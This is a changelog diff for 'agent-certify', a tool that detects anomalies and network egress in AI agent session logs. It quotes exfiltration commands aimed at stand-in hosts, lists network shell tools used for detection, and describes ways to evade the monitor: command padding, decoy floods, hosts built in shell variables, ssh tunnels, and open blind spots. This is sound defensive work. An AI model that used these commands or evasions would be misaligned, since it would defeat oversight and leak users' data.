+
- **A command line of a million commands is bounded** (`MAX_SHELL_SEGMENTS`,
|
|
303
|
+
10 000). 10 MB of `a;` with an unbalanced quote took about nine seconds to
|
|
304
|
+
analyse, against the thirty an MCP call is allowed in total; it now takes
|
|
305
|
+
0.1 s. The bound is on the *split* rather than on the list afterwards, and
|
|
306
|
+
reaching it is published as `destination_scan_truncated` with the reason
|
|
307
|
+
`segments`, like every other bound
|
|
308
|
+
- **A URL's host has to look like a host.** The shape test (one dot and a
|
|
309
|
+
letters-only suffix, or an address literal, or `localhost`) applied to bare
|
|
310
|
+
values only, so anything after `scheme://` became a destination:
|
|
311
|
+
`https://a`, `http://api/x`, `http://r`, `https://h%d.example.net/` and a URL
|
|
312
|
+
at the end of a markdown span were reported as the hosts `a`, `api`, `r`,
|
|
313
|
+
`h%d.example.net` and `` x.example.com` ``. Trailing prose and markdown
|
|
314
|
+
punctuation is stripped first, bracketed IPv6 literals are now matched by the
|
|
315
|
+
URL pattern at all (`http://[::1]/`), and `localhost` counts
|
|
316
|
+
- **Writing a URL is not calling it.** Nothing is read from the value of a
|
|
317
|
+
field that carries file or document content — `content`, `new_string`,
|
|
318
|
+
`old_string`, `file_text`, `new_source`, `text`, `body`, `edits`, `patch`,
|
|
319
|
+
`diff`, `replacement` (`CONTENT_KEYS` in `agent_certify/domains.py`) — under
|
|
320
|
+
any tool. A `Write` whose contents mention `curl evil.example.net` reaches
|
|
321
|
+
nobody; the `Bash` call that runs the file afterwards is read as before,
|
|
322
|
+
since `command` is not a content key. `NETWORK_KEYS` and `SHELL_KEYS` keep
|
|
323
|
+
their behaviour exactly
|
|
324
|
+
- **A separator inside quotes is not a command.** A command line is split on
|
|
325
|
+
`|`, `||`, `&&`, `;` and `&` only *outside* single and double quotes, `\"`
|
|
326
|
+
honoured inside double ones, so `git commit -m "fix; curl api.example.net"`,
|
|
327
|
+
`echo "a; wget b.example.net"` and
|
|
328
|
+
`python -c "import os; print('curl x.example.net')"` reach nobody. They were
|
|
329
|
+
read as two commands, the second of which looked like a `curl` invocation —
|
|
330
|
+
a *mention* of a command taken for one, and 27 of the 43 hosts this release
|
|
331
|
+
stopped reading were that or a filename. A wrapper's quoted command keeps its
|
|
332
|
+
meaning through the depth-1 recursion (`bash -c "cd /tmp; curl x.example.net"`
|
|
333
|
+
still reaches `x.example.net`). **A line break always separates** and quoting
|
|
334
|
+
is judged one line at a time, so a stray quote cannot move the segment
|
|
335
|
+
boundaries of the lines around it — doing it globally found *more* spurious
|
|
336
|
+
hosts than the plain split, measured — and **a line whose quoting does not
|
|
337
|
+
balance falls back to the old split**, verbatim, because a malformed command
|
|
338
|
+
line is the shape an exfiltration attempt would take. A no-separator fast
|
|
339
|
+
path keeps the common case below the cost of the plain split
|
|
340
|
+
- **A thin baseline is reported as thin.** On a baseline of fewer than
|
|
341
|
+
`MIN_BASELINE_SESSIONS` (5, overridable per detector and with
|
|
342
|
+
`--min-baseline-sessions`), an *unknown* tool is a warning rather than a
|
|
343
|
+
critical, and the message says what it rests on — `not in 6 known tools,
|
|
344
|
+
learned from 2 sessions`. Two sessions that happened not to use `Read` do not
|
|
345
|
+
make `Read` a critical finding. A **rejected** tool stays critical whatever
|
|
346
|
+
the baseline: that is a decision, not a statistic
|
|
347
|
+
- Measured over eleven held-out real sessions (baselines of two to four
|
|
348
|
+
sessions, so a worst case), before and after back to back on the same files:
|
|
349
|
+
**109 anomalies before, 72 after; 94 critical before, 58 after** —
|
|
350
|
+
`new_domain` 83 → 53, `egress_volume_spike` 8 → 1, `new_tool` 6 critical → 6
|
|
351
|
+
warning. Of the 104 hosts read before, 43 stopped being read and **not one
|
|
352
|
+
had been contacted**: traced key by key, 16 were not shaped like a host, 19
|
|
353
|
+
appeared only in a file-writing argument, and 8 were a fragment of a quoted
|
|
354
|
+
argument. Every true alert survived, the outbound-volume spike included. Two
|
|
355
|
+
hosts are now read that were not before: a bracketed IPv6 literal, which the
|
|
356
|
+
URL pattern did not match at all, and one whose trailing punctuation is now
|
|
357
|
+
stripped
|
|
358
|
+
|
|
359
|
+
- `agent-certify learn` warns when it learns from fewer than
|
|
360
|
+
`MIN_BASELINE_SESSIONS` sessions, and says what will be noisy: an unknown
|
|
361
|
+
tool, and the two volume checks comparing against a deviation that is near
|
|
362
|
+
zero or as wide as its own mean
|
|
363
|
+
- `agent_certify.domains.host_shape()`, the one notion of "shaped like a host",
|
|
364
|
+
used by both the URL search and the bare-value rule
|
|
365
|
+
- `AnomalyDetector.min_baseline_sessions` and `.thin_baseline`;
|
|
366
|
+
`SessionWatcher(min_baseline_sessions=...)`; `scan`/`watch
|
|
367
|
+
--min-baseline-sessions`
|
|
368
|
+
- `AnomalyInjector.inject_written_url()` and the `written_url` benchmark row: a
|
|
369
|
+
**false-positive case** rather than a fault — a clean `Write` whose contents
|
|
370
|
+
name a host, measured to produce nothing. Blind spots and false-positive
|
|
371
|
+
cases both expect silence for opposite reasons, so the table and
|
|
372
|
+
`BenchmarkResult` score them apart (`FALSE_POSITIVE_CASES`,
|
|
373
|
+
`injected_false_positives`, `TypeResult.false_positive`)
|
|
374
|
+
- **Outbound volume per destination** (`egress_volume_spike`): a baseline now
|
|
375
|
+
learns how many *bytes* each destination receives — mean, deviation, maximum
|
|
376
|
+
and the number of sessions behind them (`domain_egress_volume`) — and a
|
|
377
|
+
session is compared against it. Warning past 3σ above the mean, critical past
|
|
378
|
+
5σ, twice the mean standing in when the baseline never varied, increases only:
|
|
379
|
+
`Outbound volume to api.internal.example: 2.1 MB (baseline: 5.6 KB ± 262 B, 395.2σ)`
|
|
380
|
+
It is the only check that can see exfiltration through a channel that is
|
|
381
|
+
entirely normal: the topology, the call counts and the host name are all
|
|
382
|
+
unchanged, and only the size of what left is out of place
|
|
383
|
+
- `agent_certify.domains.measure_call()` and `CallEgress`: the destinations of
|
|
384
|
+
one tool call and the bytes it sent to each — the UTF-8 size of its arguments
|
|
385
|
+
(compact JSON, sorted keys, so the same call measures the same from any
|
|
386
|
+
parser), counted once. The literal request bodies named on its command lines
|
|
387
|
+
(`DATA_OPTIONS`: `curl -d`/`--data*`/`-F`/`--form`/`-T`,
|
|
388
|
+
`wget --post-data`/`--body-data`, httpie's `key=value`) are reported
|
|
389
|
+
separately as `data_bytes` — how much of the call was a declared payload —
|
|
390
|
+
and are **not** added to the outbound size, being already part of the
|
|
391
|
+
argument text that carried them. Numbers only: no payload, no argument text,
|
|
392
|
+
nothing of the content is kept
|
|
393
|
+
- **An absolute floor on both volume checks** (`CALL_MIN_DELTA_CALLS` = 10
|
|
394
|
+
calls, `EGRESS_MIN_DELTA_BYTES` = 10 KiB): a rise is reported only when it
|
|
395
|
+
also passes the baseline's *maximum* by at least that much, the no-variation
|
|
396
|
+
"twice the mean" fallback included. Three deviations above a mean of 402
|
|
397
|
+
bytes is 981 bytes and twice a mean of one call is two calls; neither is a
|
|
398
|
+
finding, and a check that reports them is one an operator learns to skip.
|
|
399
|
+
Both are arguments of `AnomalyDetector`, of `SessionWatcher`, and of
|
|
400
|
+
`agent-certify scan`/`watch` (`--min-call-delta`, `--min-egress-delta`);
|
|
401
|
+
`0` turns a floor off. On eleven held-out real sessions this removed 5 of 11
|
|
402
|
+
`call_volume_spike` reports and 1 of 9 `egress_volume_spike` reports, leaving
|
|
403
|
+
every finding that named a rise of tens of kilobytes or dozens of calls
|
|
404
|
+
- `AgentGraph.egress_bytes`, `.egress_calls`, `.record_egress()` and
|
|
405
|
+
`.egress_total()`; `Baseline.domain_egress_volume` and
|
|
406
|
+
`volume("egress", host)`. The Claude Code, CrewAI, LangGraph and MCP-log
|
|
407
|
+
parsers fill them where they already read destinations, counting one call once
|
|
408
|
+
even when a log writes its start and its end as two records
|
|
409
|
+
- **`destination_scan_truncated`**: reaching a scan limit is now counted on the
|
|
410
|
+
call and on the graph (`truncated_scans`, `truncated_network_scans`,
|
|
411
|
+
`truncation_reasons`, like `skipped_records`) and reported — warning, critical
|
|
412
|
+
when that call did name a destination. Until now a host that fell past a bound
|
|
413
|
+
disappeared with no trace, which made the bound a one-line evasion
|
|
414
|
+
- `AnomalyInjector.inject_exfiltration()` (`egress_volume_spike`, warning or
|
|
415
|
+
worse: 20× the usual data to a destination the baseline knows, changing no
|
|
416
|
+
node, link or call count at all), `.inject_decoy_flood()`
|
|
417
|
+
(`destination_scan_truncated`, critical: a host buried behind 220 approved
|
|
418
|
+
decoys in one command) and `.inject_padding_evasion()` (`new_domain`,
|
|
419
|
+
critical: a host behind 70 000 characters of padding), plus `.accept_domain()`
|
|
420
|
+
- `AnomalyInjector.inject_file_upload_exfil()` and the `file_upload_exfil`
|
|
421
|
+
anomaly type: the benchmark's **third blind spot**, `curl -T dump.sql <known
|
|
422
|
+
host>`. The destination and the call are read; the volume is not, because the
|
|
423
|
+
log holds the file's name and never its size — a blind spot of the data
|
|
424
|
+
rather than of the parser, so it is measured and declared instead of estimated
|
|
425
|
+
- `tests/test_egress_volume.py`: the measurement, the bounds, the baseline, the
|
|
426
|
+
thresholds, every output (JSON, text, Markdown, HTML, OTel, MCP) and the
|
|
427
|
+
negative twin of each positive case
|
|
428
|
+
- **Shell command egress**: the command line of a shell tool call is now read
|
|
429
|
+
for network destinations, which closes the `shell_domain` blind spot v0.7.0
|
|
430
|
+
shipped and measured. `{"command": "curl -sS collector.example.net/x"}` gives
|
|
431
|
+
`collector.example.net`, so the most common exfiltration path in an agent
|
|
432
|
+
session reaches the baseline and fires `new_domain`:
|
|
433
|
+
`[CRITICAL] Network destination collector.example.net in tool call — not in baseline`
|
|
434
|
+
- `agent_certify.domains.domains_in_command()`, with `SHELL_KEYS` (the fields
|
|
435
|
+
that carry a command: `command`, `cmd`, `script` and their variants) and
|
|
436
|
+
`NETWORK_COMMANDS` (the programs whose arguments name a destination: `curl`,
|
|
437
|
+
`wget`, `http`/`https`, `nc`, `ncat`, `netcat`, `socat`, `telnet`, `ssh`,
|
|
438
|
+
`scp`, `sftp`, `rsync`, `ftp`, `git` for its remote subcommands only, and
|
|
439
|
+
`Invoke-WebRequest`, `Invoke-RestMethod`, `iwr`, `irm`, `Test-NetConnection`).
|
|
440
|
+
The line is split on `|`, `||`, `&&`, `;`, `&` and newlines, tokenised with
|
|
441
|
+
`shlex`, and `sudo`, `env VAR=x`, `time`, `nohup`, `command`, `exec` and
|
|
442
|
+
leading `VAR=value` assignments are skipped. A destination is a positional
|
|
443
|
+
argument shaped like `host`, `host:port`, `host/path`, `user@host` or
|
|
444
|
+
`user@host:path`, a URL, or the value of an option that names one (`-x`,
|
|
445
|
+
`--proxy`, `--resolve`, `--connect-to`, `ssh -J`)
|
|
446
|
+
- a command **inside** a command is read one level deep (`MAX_SHELL_DEPTH`):
|
|
447
|
+
the value of `bash -c`, `sh -c`, `zsh -c`, `dash -c`, `pwsh -Command`,
|
|
448
|
+
`powershell -Command` and `cmd /c` (bundled short flags such as `bash -lc`
|
|
449
|
+
included), and the remote command of `ssh host '<command>'`, which records
|
|
450
|
+
both the host connected to and the host that command then reached. The inner
|
|
451
|
+
program is judged by the same rule, so `bash -c "echo example.com"` gives
|
|
452
|
+
nothing
|
|
453
|
+
- `extract_domains(payload, shell_key=...)`, the shell counterpart of
|
|
454
|
+
`network_key`
|
|
455
|
+
- `AnomalyInjector.inject_wrapped_shell_domain()` and the
|
|
456
|
+
`wrapped_shell_domain` anomaly type (`new_domain`, critical): a host inside
|
|
457
|
+
the command a shell wrapper runs
|
|
458
|
+
- `AnomalyInjector.inject_shell_var_domain()`, `.inject_ssh_tunnel_domain()`
|
|
459
|
+
and the `shell_var_domain` / `ssh_tunnel_domain` anomaly types: the
|
|
460
|
+
benchmark's **two new blind spots**, a host a command builds in a shell
|
|
461
|
+
variable (`h=<host>; curl -sS $h/health`) and a host at the far end of a
|
|
462
|
+
forwarding (`ssh -L 8080:<host>:80 ops@<jump>`, where the jump host is
|
|
463
|
+
recorded and the tunnelled one is not). Reading the first would mean
|
|
464
|
+
evaluating the shell rather than parsing it; the second is the middle field
|
|
465
|
+
of an option value that names no destination. Both are boundaries kept on
|
|
466
|
+
purpose — so they are injected and measured rather than left unsaid
|
|
467
|
+
- `tests/test_shell_egress.py`: every recognised program, pipes and chains,
|
|
468
|
+
wrappers, broken quoting, PowerShell, `user@host:path`, address literals and
|
|
469
|
+
ports — and the negative twin of each, plus a non-regression suite that
|
|
470
|
+
re-runs every extraction case `tests/test_domains.py` asserts
|
|
471
|
+
|
|
472
|
+
### Changed
|
|
473
|
+
- **A string is read whole**, to the 10 MB a parser already allows one record,
|
|
474
|
+
instead of being cut at 64 KB: `echo <70 000 characters>; curl evil.example.org`
|
|
475
|
+
reached nobody before and reports a destination now. The URL pattern scans in
|
|
476
|
+
linear time, and a scheme pre-filter makes the whole scan **faster** than
|
|
477
|
+
before — a 9.5 MB session parses in 548 ms against 651 ms on v0.7.0 (-16%)
|
|
478
|
+
- `MAX_SCAN_DEPTH` 8 → 32, so an ordinary nested argument object is read rather
|
|
479
|
+
than counted as truncated; `MAX_STRING_CHARS` 64 KB → 10 MB; new
|
|
480
|
+
`MAX_HOST_CHARS` (a bare-host value past 512 characters is not a hostname) and
|
|
481
|
+
`MAX_SHLEX_CHARS` (past 64 KB of command line, segments are split on
|
|
482
|
+
whitespace instead of lexed — some hundred times faster, and no destination
|
|
483
|
+
is lost because quotes are stripped either way)
|
|
484
|
+
- `Baseline.volume()` takes a third scope, `"egress"`, and now refuses an
|
|
485
|
+
unknown scope instead of silently reading the link statistics
|
|
486
|
+
- the injection benchmark covers **14 fault types: 66/66 detected on the eleven
|
|
487
|
+
covered ones, no false positives**, with three measured blind spots
|
|
488
|
+
- the injection benchmark's `shell_domain` is now an expected *detection*
|
|
489
|
+
(`new_domain`, critical) rather than an expected miss. The injection itself
|
|
490
|
+
did not change: it builds the same argument object and passes it to the
|
|
491
|
+
production extractor, so the row moved on its own
|
|
492
|
+
- nothing else of a command line is read, kept or transmitted: only host names,
|
|
493
|
+
and only from the arguments of a recognised client. `SECURITY.md` §6 and §1
|
|
494
|
+
are updated in the same change, under the review rule §6 states
|
|
495
|
+
|
|
496
|
+
## [0.7.0] - 2026-11-06
|
|
497
|
+
|
|
498
|
+
The v0.6.1 benchmark measured one blind spot and reported it for a release
|
|
499
|
+
rather than hiding it. This closes it, and adds the question a topology cannot
|
|
500
|
+
answer on its own: not which tools ran, but **where they went**.
|
|
501
|
+
|
|
502
|
+
### Added
|
|
503
|
+
- **Call volume detection** (`call_volume_spike`): a baseline now learns how
|
|
504
|
+
*much* each tool and each link is used — mean, deviation, maximum and the
|
|
505
|
+
number of sessions behind them — and a session is compared against it.
|
|
506
|
+
Warning past 3σ above the mean, critical past 5σ:
|
|
507
|
+
`Tool Bash called 487 times (baseline: 50 ± 1, 391.3σ)`
|
|
508
|
+
- Volume is learned **per link** as well as per tool, keyed by role like
|
|
509
|
+
`known_links`. A link spike replaces the tool-level one when it adds
|
|
510
|
+
something: a tool with several callers is reported as the link that spiked,
|
|
511
|
+
so the message names who is responsible, and an agent calling that tool its
|
|
512
|
+
usual number of times is not flagged because somebody else hammered it. A
|
|
513
|
+
tool with a single caller is reported as the tool, where the link would say
|
|
514
|
+
the same thing
|
|
515
|
+
- **Network destination monitoring**: `agent_certify.domains` reads the hosts a
|
|
516
|
+
session's tool calls pointed at, and two new checks compare them against the
|
|
517
|
+
baseline — `new_domain` (never seen, not accepted) and `rejected_domain`
|
|
518
|
+
(matches a rejected pattern), both critical:
|
|
519
|
+
`Network destination api.qwen.cn in tool call — not in baseline, matches rejected pattern *.cn`
|
|
520
|
+
- `agent-certify baseline accept --domain api.openai.com` and
|
|
521
|
+
`baseline reject --domain "*.cn"`, with `baseline show` listing both and the
|
|
522
|
+
destinations learned. Patterns follow the rules of the other decisions:
|
|
523
|
+
carried across re-learns, last write wins, and reject beats accept
|
|
524
|
+
- `AgentGraph.seen_domains`, `.record_domains()` and `.domain_callers()`;
|
|
525
|
+
`Baseline.known_domains`, `.accepted_domains`, `.rejected_domains`,
|
|
526
|
+
`.tool_call_volume`, `.link_call_volume` and `.volume(scope, key)`;
|
|
527
|
+
`baseline.link_volume()` and `link_key()`
|
|
528
|
+
- `AnomalyInjector.inject_foreign_domain()` and `.forbid_domain()`, so the
|
|
529
|
+
benchmark covers six fault types: **36/36 detected, no false positives**
|
|
530
|
+
- `AnomalyInjector.inject_shell_domain()`, the benchmark's one **blind spot**
|
|
531
|
+
injection: a host named inside a shell command argument
|
|
532
|
+
(`{"command": "curl -sS collector.example.net/x"}`) is read by no check, so
|
|
533
|
+
the expected outcome is silence and the fault is counted apart from the
|
|
534
|
+
detection rate. It is injected through the production extractor, so it starts
|
|
535
|
+
counting as a detection by itself — with no edit to the benchmark — the day
|
|
536
|
+
extraction reads shell commands
|
|
537
|
+
- `agent_certify.benchmark.BLIND_SPOTS`, the list of fault types this release
|
|
538
|
+
ships as uncovered, so a test can pin the claim
|
|
539
|
+
- `tests/test_volume.py` and `tests/test_domains.py` for the two features
|
|
540
|
+
|
|
541
|
+
### Changed
|
|
542
|
+
- `agent-certify learn` reports the destinations it learned, and the Claude
|
|
543
|
+
Code, CrewAI, LangGraph and MCP-log parsers record them. `scan --format json`
|
|
544
|
+
carries them as `seen_domains`
|
|
545
|
+
- the injection benchmark's `volume_spike` is now an expected *detection*
|
|
546
|
+
rather than an expected miss; the row stays in the table
|
|
547
|
+
|
|
548
|
+
### Fixed
|
|
549
|
+
- `extract_domains()` capped its result at `MAX_DOMAINS` across a payload but
|
|
550
|
+
not within a single string, so one argument holding hundreds of URLs could
|
|
551
|
+
return all of them
|
|
552
|
+
|
|
553
|
+
#### From the 2026-11-03 audit (33 findings: 3 high, 7 medium, the rest low or info)
|
|
554
|
+
|
|
555
|
+
Three groups mattered, and all three were places where a shipped text claimed
|
|
556
|
+
something the code did not do.
|
|
557
|
+
|
|
558
|
+
- **`SECURITY.md` described the wrong data perimeter** (DOC-001, high). It said
|
|
559
|
+
"prompts, tool inputs and tool outputs are never extracted" while v0.7.0
|
|
560
|
+
reads host names out of both and returns them to MCP clients in anomaly
|
|
561
|
+
messages. A new §6 now states what is read, what is kept, what reaches
|
|
562
|
+
`baseline.json` and what is transmitted — plus a review rule: a feature that
|
|
563
|
+
reads a new category of input data requires a `SECURITY.md` review in the
|
|
564
|
+
same change
|
|
565
|
+
- **The benchmark's blind-spot machinery was unreachable** (INV-001, high).
|
|
566
|
+
Every injection carried an expected category, so `expected_category` was
|
|
567
|
+
never None and the branches that report a blind spot could not run: "no blind
|
|
568
|
+
spots left" had become a property of the registry rather than a measurement.
|
|
569
|
+
`inject_shell_domain` arms it again against a real gap, and the tests now pin
|
|
570
|
+
the capability instead of the result
|
|
571
|
+
- **`benchmark/__init__.py` still said "no check reads call volume"** (INV-002,
|
|
572
|
+
high), contradicting the shipped check and the same file twelve lines above
|
|
573
|
+
- **Three ways a real network destination was silently dropped** (INV-003
|
|
574
|
+
cluster, medium) — the detector was not wrong, it was quiet:
|
|
575
|
+
- `AgentGraph.merge` set the per-node destination list by default instead of
|
|
576
|
+
unioning it, so when two sessions pointed the same tool at different hosts
|
|
577
|
+
the second host survived in `seen_domains` with no caller and the anomaly
|
|
578
|
+
degraded to "no caller recorded". On the path `scan <directory>` takes
|
|
579
|
+
(INV-004)
|
|
580
|
+
- `NOT_HOSTS` treated `zip`, `sh`, `so`, `md`, `py` and `rs` as file
|
|
581
|
+
extensions although all six are delegated TLDs, so `{"host":
|
|
582
|
+
"collector.zip"}` was dropped. Removed, and the rest of the list checked
|
|
583
|
+
against the root zone; a test keeps it that way (INV-005)
|
|
584
|
+
- `MAX_STRING_CHARS` was announced for "any one string" but applied only to
|
|
585
|
+
the URL search, not to the bare-host branch (INV-006)
|
|
586
|
+
- `new_domain` / `rejected_domain` said "HTTP call to X detected"; nothing is
|
|
587
|
+
observed, resolved or necessarily HTTP. Now "Network destination X in tool
|
|
588
|
+
call" (INV-007)
|
|
589
|
+
- LangGraph's `unattributed_errors` was incremented and read nowhere. Now in
|
|
590
|
+
the `graph` node's metadata and logged, like `transitions` (INV-008)
|
|
591
|
+
- `certify --key` with a file that is not a key raised a bare `ValueError`
|
|
592
|
+
traceback; it now exits with a message naming what was expected (COD-011)
|
|
593
|
+
- `watch` silenced three parser loggers by name, missing CrewAI and LangGraph;
|
|
594
|
+
it raises the parent `agent_certify.parser` logger instead, so every parser
|
|
595
|
+
is covered by inheritance (COD-010)
|
|
596
|
+
- Exactly 5.0σ of call volume was reported critical where all three texts
|
|
597
|
+
describing the check say warning; both bounds are now exclusive (DOC-017)
|
|
598
|
+
- A LangGraph node looping back to itself now increments its call count, as the
|
|
599
|
+
README said it did (DOC-005)
|
|
600
|
+
- `baseline accept|reject` did not expand `~` or environment variables in
|
|
601
|
+
`--baseline`, unlike every other path argument (MNT-001)
|
|
602
|
+
- `render_html` divided by zero on a graph whose edges all have weight 0,
|
|
603
|
+
reachable through `AgentGraph.from_dict` (COD-015)
|
|
604
|
+
- Dead code removed: `triangle_counts()`, `baseline.normalise_domain()`,
|
|
605
|
+
`STATUS_CODES["UNSET"]`, `BlastRadiusAnalyzer._get_neighbors()` and
|
|
606
|
+
`Baseline.version`'s stale `"0.2.0"` default; `TypeResult.note` is now
|
|
607
|
+
rendered by the benchmark table rather than carried unused (COD-014)
|
|
608
|
+
- `AgentFIScanner.structure` is declared in `__init__` (COD-016)
|
|
609
|
+
- Documentation corrected: the non-existent 5% skipped-record threshold
|
|
610
|
+
(DOC-002), `BUSL-1.1` in the v0.5.0 roadmap entry (DOC-003), two
|
|
611
|
+
contradictory v0.7.0 roadmap sections and shipped work filed under "Planned"
|
|
612
|
+
(DOC-004), the watcher's format list and module title (DOC-006), the coverage
|
|
613
|
+
badge against the CI floor (DOC-007), a misplaced field comment in `Baseline`
|
|
614
|
+
(DOC-008), what `learn` records (DOC-009), `NETWORK_KEYS` presented as
|
|
615
|
+
exhaustive (DOC-010), `node_classifications` labelled "Critical nodes"
|
|
616
|
+
(DOC-011), the trace id's dependence on a session id (DOC-012), the time
|
|
617
|
+
limit as per-request rather than per-tool-call (DOC-013), `--perspective
|
|
618
|
+
classic` and `watch --duration` missing from the usage lines (DOC-014), the
|
|
619
|
+
format-detection table's final row (DOC-015) and a resolved audit item still
|
|
620
|
+
listed as open (DOC-016)
|
|
621
|
+
|
|
622
|
+
Deferred, and recorded in `ROADMAP.md`: `MNT-003` (splitting `cli.py` and
|
|
623
|
+
`mcp_server.py`), `COD-012` (version-counter invalidation for the edge index,
|
|
624
|
+
documented on the attribute in the meantime) and dynamic coverage badges.
|
|
625
|
+
|
|
626
|
+
### Notes
|
|
627
|
+
- **Destinations are patterns, never addresses.** Nothing is resolved in either
|
|
628
|
+
direction: a hostname is never turned into an IP, and a pattern is matched
|
|
629
|
+
against the name the agent used, which is the thing the operator decided
|
|
630
|
+
about. An IP literal the agent itself used is kept as the destination it is
|
|
631
|
+
- **A mention is not a destination.** A full URL counts wherever it appears in
|
|
632
|
+
a call's arguments; a bare host counts only as the value of a field that
|
|
633
|
+
names one (`url`, `endpoint`, `host`, `base_url`, …). A domain-looking word
|
|
634
|
+
anywhere else does not, and a tool's *result* is read only when that call's
|
|
635
|
+
own arguments carried a URL. So a `WebFetch` records its redirects while a
|
|
636
|
+
`Read` of a document full of links records nothing — without that
|
|
637
|
+
distinction, every grep for a domain would read as egress and bury the real
|
|
638
|
+
finding. The deliberate consequence: a destination that appears **only** in a
|
|
639
|
+
result of a non-network tool is not reported
|
|
640
|
+
- Per-tool volume counts only the sessions where a tool appeared. Including the
|
|
641
|
+
sessions it was absent from would put its mean near zero and fire every time
|
|
642
|
+
it ran at all
|
|
643
|
+
- Adding `seen_domains` to the graph does not change `graph_hash()`, which
|
|
644
|
+
covers node roles, kinds and links: **certificates issued before v0.7.0 still
|
|
645
|
+
verify**. Baselines and graphs written by 0.6.x load unchanged, with no
|
|
646
|
+
destinations and no volume statistics — until the next `learn`
|
|
647
|
+
- There is no `*` domain pattern. A host that is not in the baseline already
|
|
648
|
+
fires as `new_domain`, so deny-by-default needs no pattern; `*` would also
|
|
649
|
+
outrank every `accept`, since reject wins
|
|
650
|
+
|
|
651
|
+
## [0.6.1] - 2026-11-03
|
|
652
|
+
|
|
653
|
+
Two frameworks more, and the first measurement of what the anomaly checks
|
|
654
|
+
actually catch — including one thing they do not.
|
|
655
|
+
|
|
656
|
+
### Added
|
|
657
|
+
- **CrewAI parser** (`agent_certify.parser.CrewAIParser`): execution logs
|
|
658
|
+
(`Crew(output_log_file=...)`) and event-bus dumps, as a JSON array, JSONL, or
|
|
659
|
+
one object wrapping the entries. Agents become `agent:<role>`, tasks become
|
|
660
|
+
`crew → agent:<role>` invocations, tool calls `agent:<role> → tool:<name>`,
|
|
661
|
+
and delegation (`Delegate work to coworker`, `Ask question to coworker`)
|
|
662
|
+
becomes an `agent → agent` link — which is what gives a crew's graph
|
|
663
|
+
triangles, and so an FI below 1
|
|
664
|
+
- **LangGraph parser** (`agent_certify.parser.LangGraphParser`): three trace
|
|
665
|
+
shapes — the `astream_events` stream, `stream_mode="debug"`, and plain
|
|
666
|
+
`{"node": ..., "next": ...}` records. Each node becomes `agent:<node>`, state
|
|
667
|
+
transitions become `agent → agent` links (from `langgraph_triggers` when the
|
|
668
|
+
trace has them, then `next`/`to`, then the order the nodes ran in),
|
|
669
|
+
`__start__` is the orchestrator and `__end__` is dropped
|
|
670
|
+
- **Anomaly injection benchmark** (`agent_certify.benchmark`):
|
|
671
|
+
`AnomalyInjector` (`inject_new_tool`, `inject_error_spike`,
|
|
672
|
+
`inject_new_agent`, `inject_volume_spike`, `inject_forbidden_tool`),
|
|
673
|
+
`BenchmarkRunner` reporting detection rate, false positive rate, false
|
|
674
|
+
negative rate and blind spots per anomaly type, varied synthetic sessions to
|
|
675
|
+
run it on, and `learn_holdout()` for the train/test split
|
|
676
|
+
- `python -m agent_certify.benchmark` and `scripts/benchmark.py`
|
|
677
|
+
(`--sessions PATH` to benchmark real logs, `--format json` for CI)
|
|
678
|
+
- `examples/crewai_run.json` and `examples/langgraph_trace.jsonl`: scannable
|
|
679
|
+
samples of both formats
|
|
680
|
+
- `agent_certify.parser.base.read_records()` and `to_datetime()`: a JSON
|
|
681
|
+
document or JSONL file as one stream of records, and the timestamp spellings
|
|
682
|
+
the frameworks write (ISO 8601, a space separator, epoch seconds or
|
|
683
|
+
milliseconds)
|
|
684
|
+
|
|
685
|
+
### Changed
|
|
686
|
+
- auto-detection covers the new formats and accepts `.json` as well as
|
|
687
|
+
`.jsonl`. The first 20 records of a file are probed and the first one a
|
|
688
|
+
parser claims decides the format; a file nothing claims is still read as a
|
|
689
|
+
Claude Code transcript. A directory scan picks up CrewAI and LangGraph logs
|
|
690
|
+
by content, so a `.json` that holds no records (`package.json`) is ignored
|
|
691
|
+
- `agent-certify scan`, `learn`, `watch` and `certify` take the new formats
|
|
692
|
+
through the same auto-detection, with no new flag. `watch` still finds the
|
|
693
|
+
*newest* session in a folder by `*.jsonl` only; point it at a CrewAI or
|
|
694
|
+
LangGraph file directly (a crew log is written once at the end of a run, so
|
|
695
|
+
there is nothing to tail)
|
|
696
|
+
|
|
697
|
+
### Fixed
|
|
698
|
+
- a bridge between two nodes that invoke each other was counted twice, once per
|
|
699
|
+
direction, so the bridge count could exceed the link count. Claude Code and
|
|
700
|
+
Cursor graphs have no reciprocal edges, which is why this never showed;
|
|
701
|
+
LangGraph loops (`agent → tools → agent`) produce them in every trace
|
|
702
|
+
- a CrewAI record holding nothing but an agent name is no longer claimed by the
|
|
703
|
+
CrewAI parser (an empty join of its event fields read as truthy)
|
|
704
|
+
|
|
705
|
+
### Notes
|
|
706
|
+
- **Measured blind spot**: no check reads call *volume*, so a session that calls
|
|
707
|
+
one tool ten times as often as the baseline ever saw is reported as clean.
|
|
708
|
+
The benchmark injects that case and counts it as a blind spot rather than
|
|
709
|
+
leaving it out of the suite. Volume-aware detection is a v0.7.0 candidate
|
|
710
|
+
- The benchmark's headline numbers (100% detection, 0% false positives over the
|
|
711
|
+
four covered types) come from synthetic sessions that are deliberately
|
|
712
|
+
regular; `--sessions` against real logs is what describes a real system
|
|
713
|
+
- Neither new parser imports the framework it reads: both work on logs alone,
|
|
714
|
+
on any machine, with `numpy` and `cryptography` as the only dependencies
|
|
715
|
+
|
|
716
|
+
## [0.6.0] - 2026-11-03
|
|
717
|
+
|
|
718
|
+
Feedback from Reddit and LinkedIn: a baseline that can only be re-learned is a
|
|
719
|
+
baseline you cannot correct. Three decisions are now recorded in it, and
|
|
720
|
+
`learn` carries them forward instead of overwriting them.
|
|
721
|
+
|
|
722
|
+
### Added
|
|
723
|
+
- `agent-certify baseline accept --tool NAME` — whitelist a tool without
|
|
724
|
+
re-learning. It stops being a `new_tool` anomaly and no statistic moves
|
|
725
|
+
- `agent-certify baseline reject --tool NAME` — a tool that must never become
|
|
726
|
+
normal. It fires **even after a re-learn that saw it in every session**, and
|
|
727
|
+
`suggest-policy` no longer drafts it as a `required_tool` rule
|
|
728
|
+
- `agent-certify baseline accept --link "agent:Build -> deploy_staging"` —
|
|
729
|
+
scoped acceptance: one caller, one target. A different agent calling the same
|
|
730
|
+
tool still fires, and the message names the callers no accepted link covers
|
|
731
|
+
(thanks to Rohan Ahmed on LinkedIn for the case)
|
|
732
|
+
- `agent-certify baseline show [--format json]` — the decisions on record
|
|
733
|
+
- `agent-certify learn --forget-overrides` — drop them deliberately
|
|
734
|
+
- `Baseline.accepted_tools`, `.rejected_tools`, `.accepted_links`,
|
|
735
|
+
`.has_overrides`, and `carry_overrides()`, `parse_link()`, `normalise_tool()`,
|
|
736
|
+
